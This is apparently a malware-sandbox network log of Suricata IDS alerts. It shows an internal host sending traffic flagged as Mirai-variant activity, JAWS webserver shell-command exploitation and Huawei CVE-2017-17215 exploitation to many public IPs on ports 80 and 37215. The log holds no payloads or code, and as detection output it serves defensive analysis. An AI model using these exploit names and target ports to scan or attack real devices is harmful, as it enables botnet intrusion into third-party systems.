Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:50074 -> 112.198.79.120:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:37540 -> 41.76.192.116:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:50600 -> 90.249.44.175:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:50600 -> 90.249.44.175:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:42146 -> 138.192.209.119:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:42146 -> 138.192.209.119:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:33170 -> 64.184.219.41:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:33170 -> 64.184.219.41:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:44158 -> 131.115.153.201:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:44158 -> 131.115.153.201:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:32982 -> 74.123.234.35:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:32982 -> 74.123.234.35:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:53118 -> 95.58.153.193:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:53118 -> 95.58.153.193:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:35992 -> 176.69.242.94:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:35992 -> 176.69.242.94:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:56466 -> 32.125.248.35:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:56466 -> 32.125.248.35:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:60176 -> 193.206.198.78:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:60176 -> 193.206.198.78:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:44382 -> 135.89.3.44:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:44382 -> 135.89.3.44:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:44246 -> 197.128.128.146:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:48300 -> 49.209.5.244:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:48300 -> 49.209.5.244:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:48708 -> 117.110.109.99:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:48708 -> 117.110.109.99:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:52612 -> 217.189.104.34:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:52612 -> 217.189.104.34:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:45074 -> 217.19.114.229:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:45074 -> 217.19.114.229:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:43480 -> 156.113.104.220:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:45386 -> 197.101.175.187:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:49248 -> 197.173.204.9:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:35484 -> 87.101.119.206:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:44632 -> 156.133.165.115:37215
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:35484 -> 87.101.119.206:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:41066 -> 107.228.249.17:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:41066 -> 107.228.249.17:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:35176 -> 41.171.44.196:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:51184 -> 81.193.189.217:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:55748 -> 197.79.45.182:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:60208 -> 194.223.37.30:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:36520 -> 206.218.156.58:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:60208 -> 194.223.37.30:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:52614 -> 41.238.72.229:37215
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:51184 -> 81.193.189.217:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:36520 -> 206.218.156.58:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:57674 -> 74.248.70.53:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:60984 -> 207.44.6.28:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:57674 -> 74.248.70.53:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:46738 -> 110.74.199.97:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:60984 -> 207.44.6.28:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:46738 -> 110.74.199.97:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:33370 -> 168.200.219.64:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:52214 -> 197.168.254.205:37215
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:33370 -> 168.200.219.64:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:59832 -> 36.177.131.90:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:59832 -> 36.177.131.90:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:41216 -> 160.108.6.246:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:35412 -> 197.99.145.0:37215
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:41216 -> 160.108.6.246:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:41030 -> 53.125.178.189:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:41030 -> 53.125.178.189:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:47686 -> 166.27.48.146:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:47686 -> 166.27.48.146:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:58364 -> 105.92.24.72:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:58364 -> 105.92.24.72:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:41526 -> 13.3.191.55:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:41526 -> 13.3.191.55:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:53062 -> 41.23.152.112:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:33232 -> 156.48.44.46:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:35240 -> 197.81.114.155:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:34430 -> 156.127.13.240:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:39288 -> 197.28.236.190:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:37732 -> 197.68.34.74:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:34144 -> 156.42.173.143:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:33936 -> 41.181.27.30:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:46538 -> 41.199.42.109:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:43802 -> 156.7.205.183:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:33164 -> 156.104.224.250:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:52520 -> 156.101.193.95:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:37132 -> 41.240.1.22:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:40604 -> 156.153.176.175:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:56700 -> 156.55.85.23:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:41480 -> 197.142.95.104:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:41580 -> 156.196.177.232:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:34056 -> 156.79.85.120:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:58986 -> 197.120.27.107:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:53868 -> 197.175.227.30:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:54908 -> 41.50.237.224:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:46372 -> 156.225.40.131:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:56056 -> 197.81.131.1:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:45390 -> 41.28.122.113:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:42006 -> 156.54.52.64:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:41428 -> 41.118.107.113:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:50496 -> 197.48.57.207:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:37612 -> 197.3.73.65:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:37080 -> 156.2.32.205:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:33986 -> 156.47.233.200:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:42332 -> 197.171.142.249:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:50508 -> 197.45.230.253:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:38650 -> 156.124.6.104:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:51038 -> 197.170.158.13:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:43914 -> 156.181.180.180:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:46716 -> 197.21.86.41:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:39802 -> 156.202.143.176:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:39030 -> 197.119.32.21:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:45448 -> 41.65.89.176:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:53898 -> 41.150.130.73:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:34594 -> 41.197.26.189:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:50342 -> 197.186.102.78:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:46348 -> 133.155.42.209:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:46348 -> 133.155.42.209:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:55338 -> 41.122.67.190:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:51536 -> 156.144.180.222:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:48274 -> 156.45.45.252:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:38022 -> 41.75.167.181:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:38022 -> 41.75.167.181:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:59036 -> 125.159.204.221:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:40820 -> 176.250.219.218:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:40820 -> 176.250.219.218:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:59036 -> 125.159.204.221:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:39304 -> 156.122.138.23:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:43094 -> 197.129.180.180:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:35226 -> 197.197.150.3:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:44164 -> 41.53.240.91:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:56428 -> 69.10.3.184:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:57228 -> 173.42.62.157:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:57228 -> 173.42.62.157:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:41336 -> 41.211.150.253:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:60772 -> 156.97.251.247:37215
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:56428 -> 69.10.3.184:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:49936 -> 156.67.180.155:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:56642 -> 41.244.31.150:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:47960 -> 156.151.133.165:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:60052 -> 156.191.5.57:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:40938 -> 197.22.3.218:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:56378 -> 41.49.33.245:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:51584 -> 156.87.239.158:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:55824 -> 156.251.110.116:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:34606 -> 197.117.181.6:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:33220 -> 156.151.72.168:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:34756 -> 41.5.104.100:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:60136 -> 41.47.204.108:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:40366 -> 41.131.210.92:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:54336 -> 41.214.171.165:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:47286 -> 197.213.171.136:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:35618 -> 41.235.181.100:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:38810 -> 156.200.241.129:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:35786 -> 197.16.62.185:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:55904 -> 41.80.208.217:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:36524 -> 41.39.127.227:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:41344 -> 98.23.1.12:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:41344 -> 98.23.1.12:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:36772 -> 209.190.249.42:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:40432 -> 85.157.24.226:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:36772 -> 209.190.249.42:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:40432 -> 85.157.24.226:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:47920 -> 104.94.218.168:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:47920 -> 104.94.218.168:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:44880 -> 197.5.171.9:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:51128 -> 197.125.253.243:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:46806 -> 197.50.157.0:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:40564 -> 156.76.208.93:37215
